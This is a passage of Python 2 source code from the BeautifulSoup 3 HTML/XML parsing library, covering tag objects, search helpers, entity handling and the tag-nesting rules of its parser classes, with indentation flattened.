else:
raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__.__name__, attr))
def __unicode__(self):
return str(self).decode(DEFAULT_OUTPUT_ENCODING)
def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING):
# Substitute outgoing XML entities.
data = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, self)
if encoding:
return data.encode(encoding)
else:
return data
class CData(NavigableString):
def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING):
return "<![CDATA[%s]]>" % NavigableString.__str__(self, encoding)
class ProcessingInstruction(NavigableString):
def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING):
output = self
if "%SOUP-ENCODING%" in output:
output = self.substituteEncoding(output, encoding)
return "<?%s?>" % self.toEncoding(output, encoding)
class Comment(NavigableString):
def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING):
return "<!--%s-->" % NavigableString.__str__(self, encoding)
class Declaration(NavigableString):
def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING):
return "<!%s>" % NavigableString.__str__(self, encoding)
class Tag(PageElement):
"""Represents a found HTML tag with its attributes and contents."""
def _convertEntities(self, match):
"""Used in a call to re.sub to replace HTML, XML, and numeric
entities with the appropriate Unicode characters. If HTML
entities are being converted, any unrecognized entities are
escaped."""
try:
x = match.group(1)
if self.convertHTMLEntities and x in name2codepoint:
return unichr(name2codepoint[x])
elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS:
if self.convertXMLEntities:
return self.XML_ENTITIES_TO_SPECIAL_CHARS[x]
else:
return u'&%s;' % x
elif len(x) > 0 and x[0] == '#':
# Handle numeric entities
if len(x) > 1 and x[1] == 'x':
return unichr(int(x[2:], 16))
else:
return unichr(int(x[1:]))
elif self.escapeUnrecognizedEntities:
return u'&%s;' % x
except ValueError: # e.g. ValueError: unichr() arg not in range(0x10000)
pass
return u'&%s;' % x
def __init__(self, parser, name, attrs=None, parent=None,
previous=None):
"Basic constructor."
# We don't actually store the parser object: that lets extracted
# chunks be garbage-collected
self.parserClass = parser.__class__
self.isSelfClosing = parser.isSelfClosingTag(name)
self.name = name
if attrs is None:
attrs = []
elif isinstance(attrs, dict):
attrs = attrs.items()
self.attrs = attrs
self.contents = []
self.setup(parent, previous)
self.hidden = False
self.containsSubstitutions = False
self.convertHTMLEntities = parser.convertHTMLEntities
self.convertXMLEntities = parser.convertXMLEntities
self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities
# Convert any HTML, XML, or numeric entities in the attribute values.
# Reference: https://github.com/pkrumins/xgoogle/pull/16/commits/3dba1165c436b0d6e5bdbd09e53ca0dbf8a043f8
convert = lambda k_val: (k_val[0],
re.sub(r"&(#\d+|#x[0-9a-fA-F]+|\w+);",
self._convertEntities,
k_val[1]))
self.attrs = map(convert, self.attrs)
def getString(self):
if (len(self.contents) == 1
and isinstance(self.contents[0], NavigableString)):
return self.contents[0]
def setString(self, string):
"""Replace the contents of the tag with a string"""
self.clear()
self.append(string)
string = property(getString, setString)
def getText(self, separator=u""):
if not len(self.contents):
return u""
stopNode = self._lastRecursiveChild().next
strings = []
current = self.contents[0]
while current and current is not stopNode:
if isinstance(current, NavigableString):
strings.append(current.strip())
current = current.next
return separator.join(strings)
text = property(getText)
def get(self, key, default=None):
"""Returns the value of the 'key' attribute for the tag, or
the value given for 'default' if it doesn't have that
attribute."""
return self._getAttrMap().get(key, default)
def clear(self):
"""Extract all children."""
for child in self.contents[:]:
child.extract()
def index(self, element):
for i, child in enumerate(self.contents):
if child is element:
return i
raise ValueError("Tag.index: element not in tag")
def has_key(self, key):
return self._getAttrMap().has_key(key)
def __getitem__(self, key):
"""tag[key] returns the value of the 'key' attribute for the tag,
and throws an exception if it's not there."""
return self._getAttrMap()[key]
def __iter__(self):
"Iterating over a tag iterates over its contents."
return iter(self.contents)
def __len__(self):
"The length of a tag is the length of its list of contents."
return len(self.contents)
def __contains__(self, x):
return x in self.contents
def __nonzero__(self):
"A tag is non-None even if it has no contents."
return True
def __setitem__(self, key, value):
"""Setting tag[key] sets the value of the 'key' attribute for the
tag."""
self._getAttrMap()
self.attrMap[key] = value
found = False
for i in xrange(0, len(self.attrs)):
if self.attrs[i][0] == key:
self.attrs[i] = (key, value)
found = True
if not found:
self.attrs.append((key, value))
self._getAttrMap()[key] = value
def __delitem__(self, key):
"Deleting tag[key] deletes all 'key' attributes for the tag."
for item in self.attrs:
if item[0] == key:
self.attrs.remove(item)
#We don't break because bad HTML can define the same
#attribute multiple times.
self._getAttrMap()
if self.attrMap.has_key(key):
del self.attrMap[key]
def __call__(self, *args, **kwargs):
"""Calling a tag like a function is the same as calling its
findAll() method. Eg. tag('a') returns a list of all the A tags
found within this tag."""
return self.findAll(*args, **kwargs)
def __getattr__(self, tag):
#print "Getattr %s.%s" % (self.__class__, tag)
if len(tag) > 3 and tag.rfind('Tag') == len(tag)-3:
return self.find(tag[:-3])
elif tag.find('__') != 0:
return self.find(tag)
raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__, tag))
def __eq__(self, other):
"""Returns true iff this tag has the same name, the same attributes,
and the same contents (recursively) as the given tag.
NOTE: right now this will return false if two tags have the
same attributes in a different order. Should this be fixed?"""
if other is self:
return True
if not hasattr(other, 'name') or not hasattr(other, 'attrs') or not hasattr(other, 'contents') or self.name != other.name or self.attrs != other.attrs or len(self) != len(other):
return False
for i in xrange(0, len(self.contents)):
if self.contents[i] != other.contents[i]:
return False
return True
def __ne__(self, other):
"""Returns true iff this tag is not identical to the other tag,
as defined in __eq__."""
return not self == other
def __repr__(self, encoding=DEFAULT_OUTPUT_ENCODING):
"""Renders this tag as a string."""
return self.__str__(encoding)
def __unicode__(self):
return self.__str__(None)
def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING,
prettyPrint=False, indentLevel=0):
"""Returns a string or Unicode representation of this tag and
its contents. To get Unicode, pass None for encoding.
NOTE: since Python's HTML parser consumes whitespace, this
method is not certain to reproduce the whitespace present in
the original string."""
encodedName = self.toEncoding(self.name, encoding)
attrs = []
if self.attrs:
for key, val in self.attrs:
fmt = '%s="%s"'
if isinstance(val, basestring):
if self.containsSubstitutions and '%SOUP-ENCODING%' in val:
val = self.substituteEncoding(val, encoding)
# The attribute value either:
#
# * Contains no embedded double quotes or single quotes.
# No problem: we enclose it in double quotes.
# * Contains embedded single quotes. No problem:
# double quotes work here too.
# * Contains embedded double quotes. No problem:
# we enclose it in single quotes.
# * Embeds both single _and_ double quotes. This
# can't happen naturally, but it can happen if
# you modify an attribute value after parsing
# the document. Now we have a bit of a
# problem. We solve it by enclosing the
# attribute in single quotes, and escaping any
# embedded single quotes to XML entities.
if '"' in val:
fmt = "%s='%s'"
if "'" in val:
# TODO: replace with apos when
# appropriate.
val = val.replace("'", "&squot;")
# Now we're okay w/r/t quotes. But the attribute
# value might also contain angle brackets, or
# ampersands that aren't part of entities. We need
# to escape those to XML entities too.
val = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, val)
attrs.append(fmt % (self.toEncoding(key, encoding),
self.toEncoding(val, encoding)))
close = ''
closeTag = ''
if self.isSelfClosing:
close = ' /'
else:
closeTag = '</%s>' % encodedName
indentTag, indentContents = 0, 0
if prettyPrint:
indentTag = indentLevel
space = (' ' * (indentTag-1))
indentContents = indentTag + 1
contents = self.renderContents(encoding, prettyPrint, indentContents)
if self.hidden:
s = contents
else:
s = []
attributeString = ''
if attrs:
attributeString = ' ' + ' '.join(attrs)
if prettyPrint:
s.append(space)
s.append('<%s%s%s>' % (encodedName, attributeString, close))
if prettyPrint:
s.append("\n")
s.append(contents)
if prettyPrint and contents and contents[-1] != "\n":
s.append("\n")
if prettyPrint and closeTag:
s.append(space)
s.append(closeTag)
if prettyPrint and closeTag and self.nextSibling:
s.append("\n")
s = ''.join(s)
return s
def decompose(self):
"""Recursively destroys the contents of this tree."""
self.extract()
if len(self.contents) == 0:
return
current = self.contents[0]
while current is not None:
next = current.next
if isinstance(current, Tag):
del current.contents[:]
current.parent = None
current.previous = None
current.previousSibling = None
current.next = None
current.nextSibling = None
current = next
def prettify(self, encoding=DEFAULT_OUTPUT_ENCODING):
return self.__str__(encoding, True)
def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING,
prettyPrint=False, indentLevel=0):
"""Renders the contents of this tag as a string in the given
encoding. If encoding is None, returns a Unicode string.."""
s=[]
for c in self:
text = None
if isinstance(c, NavigableString):
text = c.__str__(encoding)
elif isinstance(c, Tag):
s.append(c.__str__(encoding, prettyPrint, indentLevel))
if text and prettyPrint:
text = text.strip()
if text:
if prettyPrint:
s.append(" " * (indentLevel-1))
s.append(text)
if prettyPrint:
s.append("\n")
return ''.join(s)
#Soup methods
def find(self, name=None, attrs={}, recursive=True, text=None,
**kwargs):
"""Return only the first child of this Tag matching the given
criteria."""
r = None
l = self.findAll(name, attrs, recursive, text, 1, **kwargs)
if l:
r = l[0]
return r
findChild = find
def findAll(self, name=None, attrs={}, recursive=True, text=None,
limit=None, **kwargs):
"""Extracts a list of Tag objects that match the given
criteria. You can specify the name of the Tag and any
attributes you want the Tag to have.
The value of a key-value pair in the 'attrs' map can be a
string, a list of strings, a regular expression object, or a
callable that takes a string and returns whether or not the
string matches for some custom definition of 'matches'. The
same is true of the tag name."""
generator = self.recursiveChildGenerator
if not recursive:
generator = self.childGenerator
return self._findAll(name, attrs, text, limit, generator, **kwargs)
findChildren = findAll
# Pre-3.x compatibility methods
first = find
fetch = findAll
def fetchText(self, text=None, recursive=True, limit=None):
return self.findAll(text=text, recursive=recursive, limit=limit)
def firstText(self, text=None, recursive=True):
return self.find(text=text, recursive=recursive)
#Private methods
def _getAttrMap(self):
"""Initializes a map representation of this tag's attributes,
if not already initialized."""
if not getattr(self, 'attrMap'):
self.attrMap = {}
for (key, value) in self.attrs:
self.attrMap[key] = value
return self.attrMap
#Generator methods
def childGenerator(self):
# Just use the iterator from the contents
return iter(self.contents)
def recursiveChildGenerator(self):
if not len(self.contents):
return # Note: https://stackoverflow.com/a/30217723 (PEP 479)
stopNode = self._lastRecursiveChild().next
current = self.contents[0]
while current and current is not stopNode:
yield current
current = current.next
# Next, a couple classes to represent queries and their results.
class SoupStrainer:
"""Encapsulates a number of ways of matching a markup element (tag or
text)."""
def __init__(self, name=None, attrs={}, text=None, **kwargs):
self.name = name
if isinstance(attrs, basestring):
kwargs['class'] = _match_css_class(attrs)
attrs = None
if kwargs:
if attrs:
attrs = attrs.copy()
attrs.update(kwargs)
else:
attrs = kwargs
self.attrs = attrs
self.text = text
def __str__(self):
if self.text:
return self.text
else:
return "%s|%s" % (self.name, self.attrs)
def searchTag(self, markupName=None, markupAttrs={}):
found = None
markup = None
if isinstance(markupName, Tag):
markup = markupName
markupAttrs = markup
callFunctionWithTagData = callable(self.name) \
and not isinstance(markupName, Tag)
if (not self.name) \
or callFunctionWithTagData \
or (markup and self._matches(markup, self.name)) \
or (not markup and self._matches(markupName, self.name)):
if callFunctionWithTagData:
match = self.name(markupName, markupAttrs)
else:
match = True
markupAttrMap = None
for attr, matchAgainst in self.attrs.items():
if not markupAttrMap:
if hasattr(markupAttrs, 'get'):
markupAttrMap = markupAttrs
else:
markupAttrMap = {}
for k,v in markupAttrs:
markupAttrMap[k] = v
attrValue = markupAttrMap.get(attr)
if not self._matches(attrValue, matchAgainst):
match = False
break
if match:
if markup:
found = markup
else:
found = markupName
return found
def search(self, markup):
#print 'looking for %s in %s' % (self, markup)
found = None
# If given a list of items, scan it for a text element that
# matches.
if hasattr(markup, "__iter__") \
and not isinstance(markup, Tag):
for element in markup:
if isinstance(element, NavigableString) \
and self.search(element):
found = element
break
# If it's a Tag, make sure its name or attributes match.
# Don't bother with Tags if we're searching for text.
elif isinstance(markup, Tag):
if not self.text:
found = self.searchTag(markup)
# If it's text, make sure the text matches.
elif isinstance(markup, NavigableString) or \
isinstance(markup, basestring):
if self._matches(markup, self.text):
found = markup
else:
raise Exception("I don't know how to match against a %s" \
% markup.__class__)
return found
def _matches(self, markup, matchAgainst):
#print "Matching %s against %s" % (markup, matchAgainst)
result = False
if matchAgainst is True:
result = markup is not None
elif callable(matchAgainst):
result = matchAgainst(markup)
else:
#Custom match methods take the tag as an argument, but all
#other ways of matching match the tag name as a string.
if isinstance(markup, Tag):
markup = markup.name
if markup and not isinstance(markup, basestring):
markup = text_type(markup)
#Now we know that chunk is either a string, or None.
if hasattr(matchAgainst, 'match'):
# It's a regexp object.
result = markup and matchAgainst.search(markup)
elif hasattr(matchAgainst, '__iter__'): # list-like
result = markup in matchAgainst
elif hasattr(matchAgainst, 'items'):
result = markup.has_key(matchAgainst)
elif matchAgainst and isinstance(markup, basestring):
if isinstance(markup, text_type):
matchAgainst = text_type(matchAgainst)
else:
matchAgainst = str(matchAgainst)
if not result:
result = matchAgainst == markup
return result
class ResultSet(list):
"""A ResultSet is just a list that keeps track of the SoupStrainer
that created it."""
def __init__(self, source):
list.__init__([])
self.source = source
# Now, some helper functions.
def buildTagMap(default, *args):
"""Turns a list of maps, lists, or scalars into a single map.
Used to build the SELF_CLOSING_TAGS, NESTABLE_TAGS, and
NESTING_RESET_TAGS maps out of lists and partial maps."""
built = {}
for portion in args:
if hasattr(portion, 'items'):
#It's a map. Merge it.
for k,v in portion.items():
built[k] = v
elif hasattr(portion, '__iter__'): # is a list
#It's a list. Map each item to the default.
for k in portion:
built[k] = default
else:
#It's a scalar. Map it to the default.
built[portion] = default
return built
# Now, the parser classes.
class BeautifulStoneSoup(Tag, sgmllib.SGMLParser):
"""This class contains the basic parser and search code. It defines
a parser that knows nothing about tag behavior except for the
following:
You can't close a tag without closing all the tags it encloses.
That is, "<foo><bar></foo>" actually means
"<foo><bar></bar></foo>".
[Another possible explanation is "<foo><bar /></foo>", but since
this class defines no SELF_CLOSING_TAGS, it will never use that
explanation.]
This class is useful for parsing XML or made-up markup languages,
or when BeautifulSoup makes an assumption counter to what you were
expecting."""
SELF_CLOSING_TAGS = {}
NESTABLE_TAGS = {}
RESET_NESTING_TAGS = {}
QUOTE_TAGS = {}
PRESERVE_WHITESPACE_TAGS = []
MARKUP_MASSAGE = [(re.compile(r'(<[^<>]*)/>'),
lambda x: x.group(1) + ' />'),
(re.compile(r'<!\s+([^<>]*)>'),
lambda x: '<!' + x.group(1) + '>')
]
ROOT_TAG_NAME = u'[document]'
HTML_ENTITIES = "html"
XML_ENTITIES = "xml"
XHTML_ENTITIES = "xhtml"
# TODO: This only exists for backwards-compatibility
ALL_ENTITIES = XHTML_ENTITIES
# Used when determining whether a text node is all whitespace and
# can be replaced with a single space. A text node that contains
# fancy Unicode spaces (usually non-breaking) should be left
# alone.
STRIP_ASCII_SPACES = { 9: None, 10: None, 12: None, 13: None, 32: None, }
def __init__(self, markup="", parseOnlyThese=None, fromEncoding=None,
markupMassage=True, smartQuotesTo=XML_ENTITIES,
convertEntities=None, selfClosingTags=None, isHTML=False):
"""The Soup object is initialized as the 'root tag', and the
provided markup (which can be a string or a file-like object)
is fed into the underlying parser.
sgmllib will process most bad HTML, and the BeautifulSoup
class has some tricks for dealing with some HTML that kills
sgmllib, but Beautiful Soup can nonetheless choke or lose data
if your data uses self-closing tags or declarations
incorrectly.
By default, Beautiful Soup uses regexes to sanitize input,
avoiding the vast majority of these problems. If the problems
don't apply to you, pass in False for markupMassage, and
you'll get better performance.
The default parser massage techniques fix the two most common
instances of invalid HTML that choke sgmllib:
<br/> (No space between name of closing tag and tag close)
<! --Comment--> (Extraneous whitespace in declaration)
You can pass in a custom list of (RE object, replace method)
tuples to get Beautiful Soup to scrub your input the way you
want."""
self.parseOnlyThese = parseOnlyThese
self.fromEncoding = fromEncoding
self.smartQuotesTo = smartQuotesTo
self.convertEntities = convertEntities
# Set the rules for how we'll deal with the entities we
# encounter
if self.convertEntities:
# It doesn't make sense to convert encoded characters to
# entities even while you're converting entities to Unicode.
# Just convert it all to Unicode.
self.smartQuotesTo = None
if convertEntities == self.HTML_ENTITIES:
self.convertXMLEntities = False
self.convertHTMLEntities = True
self.escapeUnrecognizedEntities = True
elif convertEntities == self.XHTML_ENTITIES:
self.convertXMLEntities = True
self.convertHTMLEntities = True
self.escapeUnrecognizedEntities = False
elif convertEntities == self.XML_ENTITIES:
self.convertXMLEntities = True
self.convertHTMLEntities = False
self.escapeUnrecognizedEntities = False
else:
self.convertXMLEntities = False
self.convertHTMLEntities = False
self.escapeUnrecognizedEntities = False
self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags)
sgmllib.SGMLParser.__init__(self)
if hasattr(markup, 'read'): # It's a file-type object.
markup = markup.read()
self.markup = markup
self.markupMassage = markupMassage
try:
self._feed(isHTML=isHTML)
except StopParsing:
pass
self.markup = None # The markup can now be GCed
def convert_charref(self, name):
"""This method fixes a bug in Python's SGMLParser."""
try:
n = int(name)
except ValueError:
return
if not 0 <= n <= 127 : # ASCII ends at 127, not 255
return
return self.convert_codepoint(n)
def _feed(self, inDocumentEncoding=None, isHTML=False):
# Convert the document to Unicode.
markup = self.markup
if isinstance(markup, text_type):
if not hasattr(self, 'originalEncoding'):
self.originalEncoding = None
else:
dammit = UnicodeDammit\
(markup, [self.fromEncoding, inDocumentEncoding],
smartQuotesTo=self.smartQuotesTo, isHTML=isHTML)
markup = dammit.unicode
self.originalEncoding = dammit.originalEncoding
self.declaredHTMLEncoding = dammit.declaredHTMLEncoding
if markup:
if self.markupMassage:
if not hasattr(self.markupMassage, "__iter__"):
self.markupMassage = self.MARKUP_MASSAGE
for fix, m in self.markupMassage:
markup = fix.sub(m, markup)
# TODO: We get rid of markupMassage so that the
# soup object can be deepcopied later on. Some
# Python installations can't copy regexes. If anyone
# was relying on the existence of markupMassage, this
# might cause problems.
del(self.markupMassage)
self.reset()
sgmllib.SGMLParser.feed(self, markup)
# Close out any unfinished strings and close all the open tags.
self.endData()
while self.currentTag.name != self.ROOT_TAG_NAME:
self.popTag()
def __getattr__(self, methodName):
"""This method routes method call requests to either the SGMLParser
superclass or the Tag superclass, depending on the method name."""
#print "__getattr__ called on %s.%s" % (self.__class__, methodName)
if methodName.startswith('start_') or methodName.startswith('end_') \
or methodName.startswith('do_'):
return sgmllib.SGMLParser.__getattr__(self, methodName)
elif not methodName.startswith('__'):
return Tag.__getattr__(self, methodName)
else:
raise AttributeError
def isSelfClosingTag(self, name):
"""Returns true iff the given string is the name of a
self-closing tag according to this parser."""
return name in self.SELF_CLOSING_TAGS \
or name in self.instanceSelfClosingTags
def reset(self):
Tag.__init__(self, self, self.ROOT_TAG_NAME)
self.hidden = 1
sgmllib.SGMLParser.reset(self)
self.currentData = []
self.currentTag = None
self.tagStack = []
self.quoteStack = []
self.pushTag(self)
def popTag(self):
tag = self.tagStack.pop()
#print "Pop", tag.name
if self.tagStack:
self.currentTag = self.tagStack[-1]
return self.currentTag
def pushTag(self, tag):
#print "Push", tag.name
if self.currentTag:
self.currentTag.contents.append(tag)
self.tagStack.append(tag)
self.currentTag = self.tagStack[-1]
def endData(self, containerClass=NavigableString):
if self.currentData:
currentData = u''.join(self.currentData)
if (currentData.translate(self.STRIP_ASCII_SPACES) == '' and
not set([tag.name for tag in self.tagStack]).intersection(
self.PRESERVE_WHITESPACE_TAGS)):
if '\n' in currentData:
currentData = '\n'
else:
currentData = ' '
self.currentData = []
if self.parseOnlyThese and len(self.tagStack) <= 1 and \
(not self.parseOnlyThese.text or \
not self.parseOnlyThese.search(currentData)):
return
o = containerClass(currentData)
o.setup(self.currentTag, self.previous)
if self.previous:
self.previous.next = o
self.previous = o
self.currentTag.contents.append(o)
def _popToTag(self, name, inclusivePop=True):
"""Pops the tag stack up to and including the most recent
instance of the given tag. If inclusivePop is false, pops the tag
stack up to but *not* including the most recent instqance of
the given tag."""
#print "Popping to %s" % name
if name == self.ROOT_TAG_NAME:
return
numPops = 0
mostRecentTag = None
for i in xrange(len(self.tagStack)-1, 0, -1):
if name == self.tagStack[i].name:
numPops = len(self.tagStack)-i
break
if not inclusivePop:
numPops = numPops - 1
for i in xrange(0, numPops):
mostRecentTag = self.popTag()
return mostRecentTag
def _smartPop(self, name):
"""We need to pop up to the previous tag of this type, unless
one of this tag's nesting reset triggers comes between this
tag and the previous tag of this type, OR unless this tag is a
generic nesting trigger and another generic nesting trigger
comes between this tag and the previous tag of this type.
Examples:
<p>Foo<b>Bar *<p>* should pop to 'p', not 'b'.
<p>Foo<table>Bar *<p>* should pop to 'table', not 'p'.
<p>Foo<table><tr>Bar *<p>* should pop to 'tr', not 'p'.
<li><ul><li> *<li>* should pop to 'ul', not the first 'li'.
<tr><table><tr> *<tr>* should pop to 'table', not the first 'tr'
<td><tr><td> *<td>* should pop to 'tr', not the first 'td'
"""
nestingResetTriggers = self.NESTABLE_TAGS.get(name)
isNestable = nestingResetTriggers != None
isResetNesting = name in self.RESET_NESTING_TAGS
popTo = None
inclusive = True
for i in xrange(len(self.tagStack)-1, 0, -1):
p = self.tagStack[i]
if (not p or p.name == name) and not isNestable:
#Non-nestable tags get popped to the top or to their
#last occurance.
popTo = name
break
if (nestingResetTriggers is not None
and p.name in nestingResetTriggers) \
or (nestingResetTriggers is None and isResetNesting
and p.name in self.RESET_NESTING_TAGS):
#If we encounter one of the nesting reset triggers
#peculiar to this tag, or we encounter another tag
#that causes nesting to reset, pop up to but not
#including that tag.
popTo = p.name
inclusive = False
break
p = p.parent
if popTo:
self._popToTag(popTo, inclusive)
def unknown_starttag(self, name, attrs, selfClosing=0):
#print "Start tag %s: %s" % (name, attrs)
if self.quoteStack:
#This is not a real tag.
#print "<%s> is not real!" % name
attrs = ''.join([' %s="%s"' % (x, y) for x, y in attrs])
self.handle_data('<%s%s>' % (name, attrs))
return
self.endData()
if not self.isSelfClosingTag(name) and not selfClosing:
self._smartPop(name)
if self.parseOnlyThese and len(self.tagStack) <= 1 \
and (self.parseOnlyThese.text or not self.parseOnlyThese.searchTag(name, attrs)):
return
tag = Tag(self, name, attrs, self.currentTag, self.previous)
if self.previous:
self.previous.next = tag
self.previous = tag
self.pushTag(tag)
if selfClosing or self.isSelfClosingTag(name):
self.popTag()
if name in self.QUOTE_TAGS:
#print "Beginning quote (%s)" % name
self.quoteStack.append(name)
self.literal = 1
return tag
def unknown_endtag(self, name):
#print "End tag %s" % name
if self.quoteStack and self.quoteStack[-1] != name:
#This is not a real end tag.
#print "</%s> is not real!" % name
self.handle_data('</%s>' % name)
return
self.endData()
self._popToTag(name)
if self.quoteStack and self.quoteStack[-1] == name:
self.quoteStack.pop()
self.literal = (len(self.quoteStack) > 0)
def handle_data(self, data):
self.currentData.append(data)
def _toStringSubclass(self, text, subclass):
"""Adds a certain piece of text to the tree as a NavigableString
subclass."""
self.endData()
self.handle_data(text)
self.endData(subclass)
def handle_pi(self, text):
"""Handle a processing instruction as a ProcessingInstruction
object, possibly one with a %SOUP-ENCODING% slot into which an
encoding will be plugged later."""
if text[:3] == "xml":
text = u"xml version='1.0' encoding='%SOUP-ENCODING%'"
self._toStringSubclass(text, ProcessingInstruction)
def handle_comment(self, text):
"Handle comments as Comment objects."
self._toStringSubclass(text, Comment)
def handle_charref(self, ref):
"Handle character references as data."
if self.convertEntities:
data = unichr(int(ref))
else:
data = '&#%s;' % ref
self.handle_data(data)
def handle_entityref(self, ref):
"""Handle entity references as data, possibly converting known
HTML and/or XML entity references to the corresponding Unicode
characters."""
data = None
if self.convertHTMLEntities:
try:
data = unichr(name2codepoint[ref])
except KeyError:
pass
if not data and self.convertXMLEntities:
data = self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref)
if not data and self.convertHTMLEntities and \
not self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref):
# TODO: We've got a problem here. We're told this is
# an entity reference, but it's not an XML entity
# reference or an HTML entity reference. Nonetheless,
# the logical thing to do is to pass it through as an
# unrecognized entity reference.
#
# Except: when the input is "&carol;" this function
# will be called with input "carol". When the input is
# "AT&T", this function will be called with input
# "T". We have no way of knowing whether a semicolon
# was present originally, so we don't know whether
# this is an unknown entity or just a misplaced
# ampersand.
#
# The more common case is a misplaced ampersand, so I
# escape the ampersand and omit the trailing semicolon.
data = "&%s" % ref
if not data:
# This case is different from the one above, because we
# haven't already gone through a supposedly comprehensive
# mapping of entities to Unicode characters. We might not
# have gone through any mapping at all. So the chances are
# very high that this is a real entity, and not a
# misplaced ampersand.
data = "&%s;" % ref
self.handle_data(data)
def handle_decl(self, data):
"Handle DOCTYPEs and the like as Declaration objects."
self._toStringSubclass(data, Declaration)
def parse_declaration(self, i):
"""Treat a bogus SGML declaration as raw data. Treat a CDATA
declaration as a CData object."""
j = None
if self.rawdata[i:i+9] == '<![CDATA[':
k = self.rawdata.find(']]>', i)
if k == -1:
k = len(self.rawdata)
data = self.rawdata[i+9:k]
j = k+3
self._toStringSubclass(data, CData)
else:
try:
j = sgmllib.SGMLParser.parse_declaration(self, i)
except sgmllib.SGMLParseError:
toHandle = self.rawdata[i:]
self.handle_data(toHandle)
j = i + len(toHandle)
return j
class BeautifulSoup(BeautifulStoneSoup):
"""This parser knows the following facts about HTML:
* Some tags have no closing tag and should be interpreted as being
closed as soon as they are encountered.
* The text inside some tags (ie. 'script') may contain tags which
are not really part of the document and which should be parsed
as text, not tags. If you want to parse the text as tags, you can
always fetch it and parse it explicitly.
* Tag nesting rules:
Most tags can't be nested at all. For instance, the occurance of
a <p> tag should implicitly close the previous <p> tag.
<p>Para1<p>Para2
should be transformed into:
<p>Para1</p><p>Para2
Some tags can be nested arbitrarily. For instance, the occurance
of a <blockquote> tag should _not_ implicitly close the previous
<blockquote> tag.
Alice said: <blockquote>Bob said: <blockquote>Blah
should NOT be transformed into:
Alice said: <blockquote>Bob said: </blockquote><blockquote>Blah
Some tags can be nested, but the nesting is reset by the
interposition of other tags. For instance, a <tr> tag should
implicitly close the previous <tr> tag within the same <table>,
but not close a <tr> tag in another table.
<table><tr>Blah<tr>Blah
should be transformed into:
<table><tr>Blah</tr><tr>Blah
but,
<tr>Blah<table><tr>Blah
should NOT be transformed into
<tr>Blah<table></tr><tr>Blah
Differing assumptions about tag nesting rules are a major source
of problems with the BeautifulSoup class. If BeautifulSoup is not
treating as nestable a tag your page author treats as nestable,
try ICantBelieveItsBeautifulSoup, MinimalSoup, or
BeautifulStoneSoup before writing your own subclass."""
def __init__(self, *args, **kwargs):
if 'smartQuotesTo' not in kwargs:
kwargs['smartQuotesTo'] = self.HTML_ENTITIES
kwargs['isHTML'] = True
BeautifulStoneSoup.__init__(self, *args, **kwargs)
SELF_CLOSING_TAGS = buildTagMap(None,
('br' , 'hr', 'input', 'img', 'meta',
'spacer', 'link', 'frame', 'base', 'col'))
PRESERVE_WHITESPACE_TAGS = set(['pre', 'textarea'])
QUOTE_TAGS = {'script' : None, 'textarea' : None}
#According to the HTML standard, each of these inline tags can
#contain another tag of the same type. Furthermore, it's common
#to actually use these tags this way.
NESTABLE_INLINE_TAGS = ('span', 'font', 'q', 'object', 'bdo', 'sub', 'sup',
'center')
#According to the HTML standard, these block tags can contain
#another tag of the same type. Furthermore, it's common
#to actually use these tags this way.
NESTABLE_BLOCK_TAGS = ('blockquote', 'div', 'fieldset', 'ins', 'del')
#Lists can contain other lists, but there are restrictions.
NESTABLE_LIST_TAGS = { 'ol' : [],
'ul' : [],
'li' : ['ul', 'ol'],
'dl' : [],
'dd' : ['dl'],
'dt' : ['dl'] }
#Tables can contain other tables, but there are restrictions.
NESTABLE_TABLE_TAGS = {'table' : [],
'tr' : ['table', 'tbody', 'tfoot', 'thead'],
'td' : ['tr'],
'th' : ['tr'],
'thead' : ['table'],
'tbody' : ['table'],
'tfoot' : ['table'],
}
NON_NESTABLE_BLOCK_TAGS = ('address', 'form', 'p', 'pre')
#If one of these tags is encountered, all tags up to the next tag of
#this type are popped.
RESET_NESTING_TAGS = buildTagMap(None, NESTABLE_BLOCK_TAGS, 'noscript',
NON_NESTABLE_BLOCK_TAGS,
NESTABLE_LIST_TAGS,
NESTABLE_TABLE_TAGS)
NESTABLE_TAGS = buildTagMap([], NESTABLE_INLINE_TAGS, NESTABLE_BLOCK_TAGS,
NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS)
# Used to detect the charset in a META tag; see start_meta
CHARSET_RE = re.compile(r"((^|;)\s*charset=)([^;]*)", re.M)
def start_meta(self, attrs):
"""Beautiful Soup can detect a charset included in a META tag,
try to convert the document to that charset, and re-parse the
document from the beginning."""
httpEquiv = None
contentType = None
contentTypeIndex = None
tagNeedsEncodingSubstitution = False
for i in xrange(0, len(attrs)):
key, value = attrs[i]
key = key.lower()
if key == 'http-equiv':
httpEquiv = value
elif key == 'content':
contentType = value
contentTypeIndex = i
if httpEquiv and contentType: # It's an interesting meta tag.
match = self.CHARSET_RE.search(contentType)
if match:
if (self.declaredHTMLEncoding is not None or
self.originalEncoding == self.fromEncoding):
# An HTML encoding was sniffed while converting
# the document to Unicode, or an HTML encoding was
# sniffed during a previous pass through the
# document, or an encoding was specified
# explicitly and it worked. Rewrite the meta tag.
def rewrite(match):
return match.group(1) + "%SOUP-ENCODING%"
newAttr = self.CHARSET_RE.sub(rewrite, contentType)
attrs[contentTypeIndex] = (attrs[contentTypeIndex][0],
newAttr)
tagNeedsEncodingSubstitution = True
else:
# This is our first pass through the document.
# Go through it again with the encoding information.
newCharset = match.group(3)
if newCharset and newCharset != self.originalEncoding:
self.declaredHTMLEncoding = newCharset
self._feed(self.declaredHTMLEncoding)
raise StopParsing
pass
tag = self.unknown_starttag("meta", attrs)
if tag and tagNeedsEncodingSubstitution:
tag.containsSubstitutions = True
class StopParsing(Exception):
pass
class ICantBelieveItsBeautifulSoup(BeautifulSoup):
"""The BeautifulSoup class is oriented towards skipping over
common HTML errors like unclosed tags. However, sometimes it makes
errors of its own. For instance, consider this fragment:
